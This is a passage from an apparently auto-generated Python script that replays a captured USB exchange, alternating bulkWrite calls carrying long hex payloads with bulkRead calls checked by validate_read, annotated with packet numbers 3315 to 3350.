b\"\\x1E\\x8C\\x8A\\x51\\x80\\x15\\x45\\xEE\\x41\\xFC\\x57\\x7A\\xC6\\xF0\\x8B\\xB2\"\n b\"\\x91\\xDD\\xBD\\x88\\x72\\x5A\\xEE\\x0E\\xAC\\xEF\\xB6\\x07\\xFD\\x89\\xA0\\x1E\"\n b\"\\x83\\x2E\\x29\\x3D\\x27\\x88\\x6B\\x66\\x4F\\x4D\\x82\\xAE\\xEA\\x77\\x5C\\x64\"\n b\"\\xB0\\xE1\\x1B\\x8D\\xCC\\x90\\xED\\xB3\\x01\\xDF\\x7C\\xEB\\x9D\\xCC\\x0D\\x53\"\n b\"\\xB1\\xC6\\x34\\x84\\xF6\\xB4\\x4C\\x78\\x7D\\x8A\\x6D\\xC4\\x93\\x00\\xEF\\x32\"\n b\"\\x1C\\x69\\x5A\\xF2\\xF2\\x45\\x2B\\xBE\\x36\\xF6\\x33\\x83\\x62\\xE2\\xBB\\x22\"\n b\"\\x88\\x91\\xEB\\x16\\xB9\\x3B\\x12\\x65\\x97\\xC6\\xEB\\x4F\\xAD\\xD1\\x64\\x70\"\n b\"\\xBD\\x9E\\x93\\x5F\\xB2\\x23\\x88\\x87\\x04\\xF0\\xE6\\x78\\x4D\\xB9\\x62\\x6F\"\n b\"\\xC2\\xB8\\x58\\x28\\x64\\xB8\\xCE\\xF5\\x9C\\x5C\\x3A\\xC8\\x43\\xF6\\xFF\\x1C\"\n b\"\\x4A\\x4E\\xE6\\x41\\x10\\x9D\\x70\\xEE\\x55\\x60\\xCB\\x3D\\x46\\xF7\\xDF\\x87\"\n b\"\\x4C\\xCB\\x89\\xD9\\xF4\\xAB\\xBC\\xFA\\x6D\\xE1\\x7C\\x14\\xF7\\x65\\xB0\\x79\"\n b\"\\xE2\\xF2\\x9C\\x8F\\xCA\\xDB\\xB4\\x7D\\xE9\\xF3\\x1E\\x8C\\x1C\\xA9\\xB9\\x5F\"\n b\"\\x0E\\x60\\xB7\\x51\\x32\\x6E\\xFD\\xAC\\xD9\\x6F\\xBE\\xBB\\xC1\\xED\\xCC\\x35\"\n b\"\\x70\\x68\\x64\\xA8\\xD4\\xDF\\xAF\\xA3\\xDA\\x4B\\xA1\\x09\\x8E\\xA5\\x5E\\x53\"\n b\"\\xC6\\x28\\x03\\x9D\\xC4\\x13\\x7C\\xEB\\xAB\\x7B\\x15\\x12\")\n # Generated from packet 3315/3316\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3315/3316\")\n # Generated from packet 3317/3318\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6D\\x77\\x8C\\x68\\xE2\\x7D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\x3F\\xF4\\xB1\\x6C\\x24\\xFA\\x6F\"\n b\"\\xD1\\xD8\\x5C\\xDF\\x52\\x7E\\x49\\xDF\\x9E\\x4A\\xBE\\xD3\\xCC\\xD7\\x85\\xB8\"\n b\"\\x1A\\xF7\\x3D\\x18\\x3D\\x89\\x06\\x4A\\x49\\x61\\x1C\\x3F\\x2B\\xFE\\x14\\xF6\"\n b\"\\x15\\xF1\\x3B\\xE6\\x35\\xF9\\xD1\\x3D\\xFF\\x2D\\xF5\\x76\\x26\\x36\\x34\\xA7\"\n b\"\\x94\\xDB\\x5E\\x0D\\x8A\\x7B\\x94\\x1F\\x5E\\xD7\\x83\\xC3\\xB3\\xA2\\xC3\\x97\"\n b\"\\x96\\x58\\xD1\\xC6\\x09\\x7D\\xA5\\x77\\x62\\xD9\\x2E\\xAE\\x3C\\xF5\\x56\\x9B\"\n b\"\\x8B\\xB6\\xEF\\x92\\x23\\xF2\\x03\\x74\\xDB\\x9F\\x84\\xD5\\x4E\\x8A\\x7D\\xEA\"\n b\"\\xAF\\x53\\x4D\\x1B\\xC1\\xFD\\xCB\\x4C\\x34\\xA9\\x70\\x44\\xD6\\xFE\\xEE\\xDD\"\n b\"\\x19\\x41\\x2F\\x34\\x0B\\xD5\\xA8\\x38\\xD7\\x1D\\xFF\\x15\\xE1\\x27\\x1C\\x92\"\n b\"\\xB2\\xA1\\xC2\\x27\\xEA\\xA8\\x93\\x41\\xFC\\xB1\\xED\\xE6\\x75\\x92\\x49\\x40\"\n b\"\\x37\\xC9\\x21\\x85\\xDE\\x01\\x84\\xBF\\x00\\xCB\\xDE\\x29\\x47\\x22\\xA2\\x58\"\n b\"\\xB1\\x1C\\x6F\\x17\\x20\\x44\\xF3\\x04\\x51\\xFC\\xDF\\x0E\\x68\\x2B\\x98\\x7C\"\n b\"\\x10\\xD7\\x13\\x42\\x31\\x6B\\xFD\\xC8\\xB3\\x9D\\x72\\xA1\\x06\\x5D\\x9C\\x8D\"\n b\"\\x77\\x11\\x58\\x3E\\x6F\\x2C\\x0C\\x2A\\xE7\\x8D\\xE6\\x59\\xB7\\xB9\\xD7\\xF3\"\n b\"\\x4E\\xCA\\xF9\\x0E\\xB7\\xE0\\xC3\\x19\\x38\\xDF\\xD3\\x56\\xCF\\xF0\\xDC\\xEB\"\n b\"\\xD4\\x28\\x6A\\x38\\xBA\\xD7\\x23\\x71\\x3E\\xC0\\xAC\\x70\\x04\\x87\\x0A\\x70\"\n b\"\\x92\\x5A\\xF2\\x94\\x66\\x67\\x2D\\x3E\\xA3\\xB3\\x24\\x86\")\n # Generated from packet 3319/3320\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3319/3320\")\n # Generated from packet 3321/3322\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA3\\x27\\x82\\x7C\\x51\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x98\\x5D\\xA2\\xA8\\x92\\x76\\x7A\"\n b\"\\xB3\\x53\\xA7\\xC8\\x5E\\x39\\x0D\\xD6\\xFE\\xF3\\x1F\\x02\\x52\\xE4\\xC3\\xEF\"\n b\"\\x27\\xA4\\x97\\xCA\\xDD\\xB6\\xC6\\x55\\xF8\\xC2\\x77\\x3E\\x5C\\x49\\xAE\\x60\"\n b\"\\x70\\x31\\x9B\\xD7\\x33\\x88\\x92\\x7F\\x77\\x64\\x74\\x87\\x1A\\xE3\\xD5\\x12\"\n b\"\\x0F\\x1A\\xEA\\xF3\\xD6\\x2A\\x1B\\x9D\\x78\\xAC\\x4C\\x68\\x2C\\x17\\x44\\x8A\"\n b\"\\x7B\\x89\\xDD\\x45\\xC4\\x48\\x34\\x57\\x50\\xCF\\x38\\x8B\\x98\\x98\\x15\\xBD\"\n b\"\\xA2\\x7B\\x92\\xEE\\x24\\xA5\\x27\\xB6\\x2D\\xF4\\x41\\xA0\\x34\\x8A\\xE6\\x29\"\n b\"\\x17\\x2E\\x40\\x6B\\x4C\\x46\\x85\\x82\\x84\\xE3\\xBF\\x5C\\x4E\\xB9\\x29\\x1B\"\n b\"\\xA7\\xC5\\x58\\xED\\x99\\x08\\x17\\x7C\\xC1\\x94\\x04\\x0D\\x79\\xB8\\x0E\\x34\"\n b\"\\xAE\\xFF\\x7C\\x4C\\x52\\x74\\x42\\x6D\\xEE\\x9A\\xC8\\xEF\\x18\\x15\\xA1\\x5A\"\n b\"\\xD8\\xFB\\x8D\\x2B\\x94\\x3F\\x3E\\x33\\xA9\\x6B\\x2A\\xBB\\x08\\x81\\x59\\xEB\"\n b\"\\x3C\\xB0\\xF3\\x12\\x4F\\x9E\\x0E\\xEB\\x65\\xA4\\x19\\x64\\x5A\\xB4\\x56\\x93\"\n b\"\\x75\\xBB\\xEB\\x88\\xAD\\x0D\\x38\\xE6\\x52\\x44\\x71\\x62\\x45\\xCB\\x70\\x58\"\n b\"\\x02\\x6D\\x70\\xCE\\xDF\\x95\\x94\\x3A\\xE2\\x4A\\x3E\\xFF\\x36\\x43\\x86\\xE6\"\n b\"\\x6B\\x19\\x55\\x70\\xC4\\x5C\\xA8\\xCB\\x17\\x4F\\x3F\\xDF\\xAD\\x45\\x03\\x89\"\n b\"\\xF3\\xFD\\x63\\xBC\\xD0\\x64\\x29\\x7C\\x3E\\xFE\\xAD\\xB0\\x53\\xEB\\x3A\\x9C\"\n b\"\\xA5\\xC3\\x13\\xB4\\x57\\xE0\\x3B\\x1E\\xA6\\x15\\x61\\xB9\")\n # Generated from packet 3323/3324\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3323/3324\")\n # Generated from packet 3325/3326\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF1\\xD6\\x90\\x40\\x7E\\x1B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\x20\\xB6\\xD5\\x5B\\x7C\\x02\\x78\"\n b\"\\x4C\\xA0\\xEF\\x0D\\x0C\\xF4\\xCA\\xF7\\x1E\\xA5\\x55\\xD2\\x6A\\x14\\x3E\\x76\"\n b\"\\xE1\\xCD\\x60\\x5A\\x99\\xF8\\xD7\\x19\\x20\\xF1\\x7F\\x5D\\xCC\\x17\\x87\\x30\"\n b\"\\x4B\\xB6\\x12\\x25\\xB2\\x89\\xF3\\xFC\\x82\\x78\\x9D\\x52\\x04\\x2F\\x68\\x06\"\n b\"\\xBF\\x27\\x8A\\x51\\x21\\xBE\\x45\\xEE\\xE0\\x57\\x57\\x7A\\x67\\x5B\\x8B\\xB2\"\n b\"\\x30\\x76\\xBD\\x88\\xD3\\xF1\\xEE\\x0E\\x0D\\x44\\xB6\\x07\\x5C\\x22\\xA0\\x1E\"\n b\"\\x22\\x85\\x29\\x3D\\x86\\x23\\x6B\\x66\\xEE\\xE6\\x82\\xAE\\x4B\\xDC\\x5C\\x64\"\n b\"\\x11\\x4A\\x1B\\x8D\\x6D\\x3B\\xED\\xB3\\xA0\\x74\\x7C\\xEB\\x3C\\x67\\x0D\\x53\"\n b\"\\x10\\x6D\\x34\\x84\\x57\\x1F\\x4C\\x78\\xDC\\x21\\x6D\\xC4\\x32\\xAB\\xEF\\x32\"\n b\"\\xBD\\xC2\\x5A\\xF2\\x53\\xEE\\x2B\\xBE\\x97\\x5D\\x33\\x83\\xC3\\x49\\xBB\\x22\"\n b\"\\x29\\x3A\\xEB\\x16\\x18\\x90\\x12\\x65\\x36\\x6D\\xEB\\x4F\\x0C\\x7A\\x64\\x70\"\n b\"\\x1C\\x35\\x93\\x5F\\x13\\x88\\x88\\x87\\xA5\\x5B\\xE6\\x78\\xEC\\x12\\x62\\x6F\"\n b\"\\x63\\x13\\x58\\x28\\xC5\\x13\\xCE\\xF5\\x3D\\xF7\\x3A\\xC8\\xE2\\x5D\\xFF\\x1C\"\n b\"\\xEB\\xE5\\xE6\\x41\\xB1\\x36\\x70\\xEE\\xF4\\xCB\\xCB\\x3D\\xE7\\x5C\\xDF\\x87\"\n b\"\\xED\\x60\\x89\\xD9\\x55\\x00\\xBC\\xFA\\xCC\\x4A\\x7C\\x14\\x56\\xCE\\xB0\\x79\"\n b\"\\x43\\x59\\x9C\\x8F\\x6B\\x70\\xB4\\x7D\\x48\\x58\\x1E\\x8C\\xBD\\x02\\xB9\\x5F\"\n b\"\\xAF\\xCB\\xB7\\x51\\x93\\xC5\\xFD\\xAC\\x78\\xC4\\xBE\\xBB\")\n # Generated from packet 3327/3328\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3327/3328\")\n # Generated from packet 3329/3330\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3F\\x86\\x9E\\x54\\x7D\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\xA7\\xA3\\x96\\x65\\x33\\xD1\\xC6\"\n b\"\\xFA\\x16\\xA5\\x77\\x91\\xB2\\x2E\\xAE\\xCF\\x9E\\x56\\x9B\\x78\\xDD\\xEF\\x92\"\n b\"\\xD0\\x99\\x03\\x74\\x28\\xF4\\x84\\xD5\\xBD\\xE1\\x7D\\xEA\\x5C\\x38\\x4D\\x1B\"\n b\"\\x32\\x96\\xCB\\x4C\\xC7\\xC2\\x70\\x44\\x25\\x95\\xEE\\xDD\\xEA\\x2A\\x2F\\x34\"\n b\"\\xF8\\xBE\\xA8\\x38\\x24\\x76\\xFF\\x15\\x12\\x4C\\x1C\\x92\\x41\\xCA\\xC2\\x27\"\n b\"\\x19\\xC3\\x93\\x41\\x0F\\xDA\\xED\\xE6\\x86\\xF9\\x49\\x40\\xC4\\xA2\\x21\\x85\"\n b\"\\x2D\\x6A\\x84\\xBF\\xF3\\xA0\\xDE\\x29\\xB4\\x49\\xA2\\x58\\x42\\x77\\x6F\\x17\"\n b\"\\xD3\\x2F\\xF3\\x04\\xA2\\x97\\xDF\\x0E\\x9B\\x40\\x98\\x7C\\xE3\\xBC\\x13\\x42\"\n b\"\\xC2\\x00\\xFD\\xC8\\x40\\xF6\\x72\\xA1\\xF5\\x36\\x9C\\x8D\\x84\\x7A\\x58\\x3E\"\n b\"\\x9C\\x47\\x0C\\x2A\\x14\\xE6\\xE6\\x59\\x44\\xD2\\xD7\\xF3\\xBD\\xA1\\xF9\\x0E\"\n b\"\\x44\\x8B\\xC3\\x19\\xCB\\xB4\\xD3\\x56\\x3C\\x9B\\xDC\\xEB\\x27\\x43\\x6A\\x38\"\n b\"\\x49\\xBC\\x23\\x71\\xCD\\xAB\\xAC\\x70\\xF7\\xEC\\x0A\\x70\\x61\\x31\\xF2\\x94\"\n b\"\\x95\\x0C\\x2D\\x3E\\x50\\xD8\\x24\\x86\\x49\\x85\\x7E\\x55\\xDF\\x2A\\x3B\\xA8\"\n b\"\\x64\\xF9\\x28\\x3F\\x70\\x43\\x22\\x03\\x26\\x1D\\x9A\\x63\\x13\\x3E\\x03\\x29\"\n b\"\\xD3\\xD0\\x99\\xAD\\x1F\\xBD\\x8C\\x3A\\x33\\x4B\\xA4\\x13\\x1B\\xB9\\x87\\x3B\"\n b\"\\xB1\\x48\\x72\\x61\\x16\\x9B\\x60\\xA8\\x18\\x95\\x5C\\xA6\\x52\\x68\\xB7\\xA7\"\n b\"\\x11\\x7F\\xAF\\x25\\x63\\xF1\\x1E\\xA0\\xCB\\x6C\\xBA\\x17\")\n # Generated from packet 3331/3332\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3331/3332\")\n # Generated from packet 3333/3334\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x55\\x34\\xB5\\x38\\x1D\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBF\\x3D\\x17\\x50\\xB7\\x7A\\x49\\x5E\"\n b\"\\x98\\x6A\\x69\\x56\\x72\\xB1\\xA3\\x82\\x56\\xFA\\x7A\\x99\\x97\\x2B\\xC8\\x74\"\n b\"\\xFD\\x81\\xD6\\xD4\\x37\\x93\\x02\\x78\\x20\\x4F\\xEF\\x0D\\x60\\x1B\\xCA\\xF7\"\n b\"\\x72\\x4A\\x55\\xD2\\x06\\xFB\\x3E\\x76\\x8D\\x22\\x60\\x5A\\xF5\\x17\\xD7\\x19\"\n b\"\\x4C\\x1E\\x7F\\x5D\\xA0\\xF8\\x87\\x30\\x27\\x59\\x12\\x25\\xDE\\x66\\xF3\\xFC\"\n b\"\\xEE\\x97\\x9D\\x52\\x68\\xC0\\x68\\x06\\xD3\\xC8\\x8A\\x51\\x4D\\x51\\x45\\xEE\"\n b\"\\x8C\\xB8\\x57\\x7A\\x0B\\xB4\\x8B\\xB2\\x5C\\x99\\xBD\\x88\\xBF\\x1E\\xEE\\x0E\"\n b\"\\x61\\xAB\\xB6\\x07\\x30\\xCD\\xA0\\x1E\\x4E\\x6A\\x29\\x3D\\xEA\\xCC\\x6B\\x66\"\n b\"\\x82\\x09\\x82\\xAE\\x27\\x33\\x5C\\x64\\x7D\\xA5\\x1B\\x8D\\x01\\xD4\\xED\\xB3\"\n b\"\\xCC\\x9B\\x7C\\xEB\\x50\\x88\\x0D\\x53\\x7C\\x82\\x34\\x84\\x3B\\xF0\\x4C\\x78\"\n b\"\\xB0\\xCE\\x6D\\xC4\\x5E\\x44\\xEF\\x32\\xD1\\x2D\\x5A\\xF2\\x3F\\x01\\x2B\\xBE\"\n b\"\\xFB\\xB2\\x33\\x83\\xAF\\xA6\\xBB\\x22\\x45\\xD5\\xEB\\x16\\x74\\x7F\\x12\\x65\"\n b\"\\x5A\\x82\\xEB\\x4F\\x60\\x95\\x64\\x70\\x70\\xDA\\x93\\x5F\\x7F\\x67\\x88\\x87\"\n b\"\\xC9\\xB4\\xE6\\x78\\x80\\xFD\\x62\\x6F\\x0F\\xFC\\x58\\x28\\xA9\\xFC\\xCE\\xF5\"\n b\"\\x51\\x18\\x3A\\xC8\\x8E\\xB2\\xFF\\x1C\\x87\\x0A\\xE6\\x41\\xDD\\xD9\\x70\\xEE\"\n b\"\\x98\\x24\\xCB\\x3D\\x8B\\xB3\\xDF\\x87\\x81\\x8F\\x89\\xD9\\x39\\xEF\\xBC\\xFA\"\n b\"\\xA0\\xA5\\x7C\\x14\\x3A\\x21\\xB0\\x79\\x2F\\xB6\\x9C\\x8F\")\n # Generated from packet 3335/3336\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3335/3336\")\n # Generated from packet 3337/3338\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9B\\x64\\xBB\\x2C\\xD8\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x52\\x39\\xB0\\x26\\xE5\\x50\\xC2\\xC2\"\n b\"\\x06\\x26\\x04\\xE4\\x6E\\x40\\x1B\\xD9\\x39\\x2D\\x27\\x60\\x90\\xBD\\x91\\xDF\"\n b\"\\xC9\\xE6\\x8B\\xDF\\x60\\x9A\\xA9\\xDE\\x26\\x8B\\x68\\x2D\\x9D\\xE2\\x39\\x75\"\n b\"\\xE4\\x8B\\x85\\x4D\\xC6\\xA2\\x56\\x19\\x83\\x07\\x3E\\xAA\\xBE\\x5A\\xFF\\x19\"\n b\"\\x9C\\x71\\xB4\\x74\\xE8\\x5E\\x3C\\x68\\x31\\x99\\x6D\\x4F\\x66\\xD7\\x10\\xFD\"\n b\"\\xE5\\x87\\xEC\\xA9\\xB6\\x86\\x27\\x27\\x99\\x4D\\x4F\\xEC\\xFE\\x61\\x77\\xEF\"\n b\"\\x10\\xBB\\x88\\xB0\\x79\\xFB\\x94\\xB0\\x2B\\xEE\\xFA\\x6F\\x96\\x12\\x5C\\xDF\"\n b\"\\x15\\xB4\\x49\\xDF\\xD9\\x80\\xBE\\xD3\\x8B\\x1D\\x85\\xB8\\x5D\\x3D\\x3D\\x18\"\n b\"\\x7A\\x43\\x06\\x4A\\x0E\\xAB\\x1C\\x3F\\x6C\\x34\\x14\\xF6\\x52\\x3B\\x3B\\xE6\"\n b\"\\x72\\x33\\xD1\\x3D\\xB8\\xE7\\xF5\\x76\\x61\\xFC\\x34\\xA7\\xD3\\x11\\x5E\\x0D\"\n b\"\\xCD\\xB1\\x94\\x1F\\x19\\x1D\\x83\\xC3\\xF4\\x68\\xC3\\x97\\xD1\\x92\\xD1\\xC6\"\n b\"\\x4E\\xB7\\xA5\\x77\\x25\\x13\\x2E\\xAE\\x7B\\x3F\\x56\\x9B\\xCC\\x7C\\xEF\\x92\"\n b\"\\x64\\x38\\x03\\x74\\x9C\\x55\\x84\\xD5\\x09\\x40\\x7D\\xEA\\xE8\\x99\\x4D\\x1B\"\n b\"\\x86\\x37\\xCB\\x4C\\x73\\x63\\x70\\x44\\x91\\x34\\xEE\\xDD\\x5E\\x8B\\x2F\\x34\"\n b\"\\x4C\\x1F\\xA8\\x38\\x90\\xD7\\xFF\\x15\\xA6\\xED\\x1C\\x92\\xF5\\x6B\\xC2\\x27\"\n b\"\\xAD\\x62\\x93\\x41\\xBB\\x7B\\xED\\xE6\\x32\\x58\\x49\\x40\\x70\\x03\\x21\\x85\"\n b\"\\x99\\xCB\\x84\\xBF\\x47\\x01\\xDE\\x29\\x00\\xE8\\xA2\\x58\")\n # Generated from packet 3339/3340\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3339/3340\")\n # Generated from packet 3341/3342\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC9\\x95\\xA9\\x10\\x84\\x3D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\xBC\\x72\\x24\\xED\\x4D\\xF3\\xFC\"\n b\"\\xDD\\xBC\\x9D\\x52\\x5B\\xEB\\x68\\x06\\xE0\\xE3\\x8A\\x51\\x7E\\x7A\\x45\\xEE\"\n b\"\\xBF\\x93\\x57\\x7A\\x38\\x9F\\x8B\\xB2\\x6F\\xB2\\xBD\\x88\\x8C\\x35\\xEE\\x0E\"\n b\"\\x52\\x80\\xB6\\x07\\x03\\xE6\\xA0\\x1E\\x7D\\x41\\x29\\x3D\\xD9\\xE7\\x6B\\x66\"\n b\"\\xB1\\x22\\x82\\xAE\\x14\\x18\\x5C\\x64\\x4E\\x8E\\x1B\\x8D\\x32\\xFF\\xED\\xB3\"\n b\"\\xFF\\xB0\\x7C\\xEB\\x63\\xA3\\x0D\\x53\\x4F\\xA9\\x34\\x84\\x08\\xDB\\x4C\\x78\"\n b\"\\x83\\xE5\\x6D\\xC4\\x6D\\x6F\\xEF\\x32\\xE2\\x06\\x5A\\xF2\\x0C\\x2A\\x2B\\xBE\"\n b\"\\xC8\\x99\\x33\\x83\\x9C\\x8D\\xBB\\x22\\x76\\xFE\\xEB\\x16\\x47\\x54\\x12\\x65\"\n b\"\\x69\\xA9\\xEB\\x4F\\x53\\xBE\\x64\\x70\\x43\\xF1\\x93\\x5F\\x4C\\x4C\\x88\\x87\"\n b\"\\xFA\\x9F\\xE6\\x78\\xB3\\xD6\\x62\\x6F\\x3C\\xD7\\x58\\x28\\x9A\\xD7\\xCE\\xF5\"\n b\"\\x62\\x33\\x3A\\xC8\\xBD\\x99\\xFF\\x1C\\xB4\\x21\\xE6\\x41\\xEE\\xF2\\x70\\xEE\"\n b\"\\xAB\\x0F\\xCB\\x3D\\xB8\\x98\\xDF\\x87\\xB2\\xA4\\x89\\xD9\\x0A\\xC4\\xBC\\xFA\"\n b\"\\x93\\x8E\\x7C\\x14\\x09\\x0A\\xB0\\x79\\x1C\\x9D\\x9C\\x8F\\x34\\xB4\\xB4\\x7D\"\n b\"\\x17\\x9C\\x1E\\x8C\\xE2\\xC6\\xB9\\x5F\\xF0\\x0F\\xB7\\x51\\xCC\\x01\\xFD\\xAC\"\n b\"\\x27\\x00\\xBE\\xBB\\x3F\\x82\\xCC\\x35\\x8E\\x07\\x64\\xA8\\x2A\\xB0\\xAF\\xA3\"\n b\"\\x24\\x24\\xA1\\x09\\x70\\xCA\\x5E\\x53\\x38\\x47\\x03\\x9D\\x3A\\x7C\\x7C\\xEB\"\n b\"\\x55\\x14\\x15\\x12\\x4E\\xED\\x52\\x04\\x61\\x76\\xD6\\x33\")\n # Generated from packet 3343/3344\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3343/3344\")\n # Generated from packet 3345/3346\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x07\\xC5\\xA7\\x04\\xD3\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\xEE\\xBE\\x3C\\x94\\xC1\\x2D\\x86\"\n b\"\\xFD\\x90\\x75\\xFF\\x94\\x2C\\x4D\\xDD\\xBD\\xFF\\x19\\x98\\x18\\x97\\xAA\\xA5\"\n b\"\\x45\\x56\\x19\\x87\\x6E\\x1D\\x74\\xF3\\x41\\x95\\x68\\x2A\\x86\\xC4\\x4F\\x7D\"\n b\"\\xC8\\xB9\\xFD\\xFE\\x98\\x45\\xA9\\xAD\\x99\\x8E\\x27\\x82\\x52\\xE6\\xEC\\xE5\"\n b\"\\x7E\\xDE\\xEF\\x0B\\xA4\\x21\\xB0\\x62\\xE4\\x3D\\xB0\\x30\\xF1\\x53\\x6F\\x8D\"\n b\"\\x0D\\xF5\\xDF\\x0E\\xAB\\xE0\\xDF\\xC2\\x9F\\x17\\xD3\\x90\\x02\\x2C\\xB8\\x46\"\n b\"\\x22\\x94\\x18\\x61\\x5C\\xAF\\x4A\\x15\\xB4\\xB5\\x3F\\x77\\x2B\\xBD\\xF6\\x49\"\n b\"\\x24\\x92\\xE6\\x69\\x2C\\x78\\x3D\\xA3\\xF8\\x5C\\x76\\x7A\\xE3\\x9D\\xA7\\xC8\"\n b\"\\x0E\\xF7\\x0D\\xD6\\xAE\\x3D\\x1F\\x02\\x02\\x2A\\xC3\\xEF\\x77\\x6A\\x97\\xCA\"\n b\"\\x8D\\x78\\xC6\\x55\\xA8\\x0C\\x77\\x3E\\x0C\\x87\\xAE\\x60\\x20\\xFF\\x9B\\xD7\"\n b\"\\x63\\x46\\x92\\x7F\\x27\\xAA\\x74\\x87\\x4A\\x2D\\xD5\\x12\\x5F\\xD4\\xEA\\xF3\"\n b\"\\x86\\xE4\\x1B\\x9D\\x28\\x62\\x4C\\x68\\x7C\\xD9\\x44\\x8A\\x2B\\x47\\xDD\\x45\"\n b\"\\x94\\x86\\x34\\x57\\x00\\x01\\x38\\x8B\\xC8\\x56\\x15\\xBD\\xF2\\xB5\\x92\\xEE\"\n b\"\\x74\\x6B\\x27\\xB6\\x7D\\x3A\\x41\\xA0\\x64\\x44\\xE6\\x29\\x47\\xE0\\x40\\x6B\"\n b\"\\x1C\\x88\\x85\\x82\\xD4\\x2D\\xBF\\x5C\\x1E\\x77\\x29\\x1B\\xF7\\x0B\\x58\\xED\"\n b\"\\xC9\\xC6\\x17\\x7C\\x91\\x5A\\x04\\x0D\\x29\\x76\\x0E\\x34\\xFE\\x31\\x7C\\x4C\"\n b\"\\x02\\xBA\\x42\\x6D\\xBE\\x54\\xC8\\xEF\\x48\\xDB\\xA1\\x5A\")\n # Generated from packet 3347/3348\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3347/3348\")\n # Generated from packet 3349/3350\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1D\\xF1\\xFE\\xC8\\x1F\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0D\\x2B\\x2D\\xDC\\x24\\xF7\\x19\\x98\"\n b\"\\x81\\x9F\\xAA\\xA5\\xDC\\x5E\\x19\\x87\\xF7\\x15\\x74\\xF3\\xD8\\x9D\\x68\\x2A\"\n b\"\\x1F\\xCC\\x4F\\x7D\\x51\\xB1\\xFD\\xFE\\x01\\x4D\\xA9\\xAD\\x00\\x86\\x27\\x82\"\n b\"\\xCB\\xEE\\xEC\\xE5\\xE7\\xD6\\xEF\\x0B\\x3D\\x29\\xB0\\x62\\x7D\\x35\\xB0\\x30\"\n b\"\\x68\\x5B\\x6F\\x8D\\x94\\xFD\\xDF\\x0E\\x32\\xE8\\xDF\\xC2\\x06\\x1F\\xD3\\x90\"\n b\"\\x9B\\x24\\xB8\\x46\\xBB\\x9C\\x18\\x61\\xC5\\xA7\\x4A\\x15\\x2D\\xBD\\x3F\\x77\"\n b\"\\xB2\\xB5\\xF6\\x49\\xBD\\x9A\\xE6\\x69\\xB5\\x70\\x3D\\xA3\\x61\\x54\\x76\\x7A\"\n b\"\\x7A\\x95\\xA7\\xC8\\x97\\xFF\\x0D\\xD6\\x37\\x35\\x1F\\x02\\x9B\\x22\\xC3\\xEF\"\n b\"\\xEE\\x62\\x97\\xCA\\x14\\x70\\xC6\\x55\\x31\\x04\\x77\\x3E\\x95\\x8F\\xAE\\x60\"\n b\"\\xB9\\xF7\\x9B\\xD7\\xFA\\x4E\\x92\\x7F\\xBE\\xA2\\x74\\x87\\xD3\\x25\\xD5\\x12\"\n b\"\\xC6\\xDC\\xEA\\xF3\\x1F\\xEC\\x1B\\x9D\\xB1\\x6A\\x4C\\x68\\xE5\\xD1\\x44\\x8A\"\n b\"\\xB2\\x4F\\xDD\\x45\\x0D\\x8E\\x34\\x57\\x99\\x09\\x38\\x8B\\x51\\x5E\\x15\\xBD\"\n b\"\\x6B\\xBD\\x92\\xEE\\xED\\x63\\x27\\xB6\\xE4\\x32\\x41\\xA0\\xFD\\x4C\\xE6\\x29\"\n b\"\\xDE\\xE8\\x40\\x6B\\x85\\x80\\x85\\x82\\x4D\\x25\\xBF\\x5C\\x87\\x7F\\x29\\x1B\"\n b\"\\x6E\\x03\\x58\\xED\\x50\\xCE\\x17\\x7C\\x08\\x52\\x04\\x0D\\xB0\\x7E\\x0E\\x34\"\n 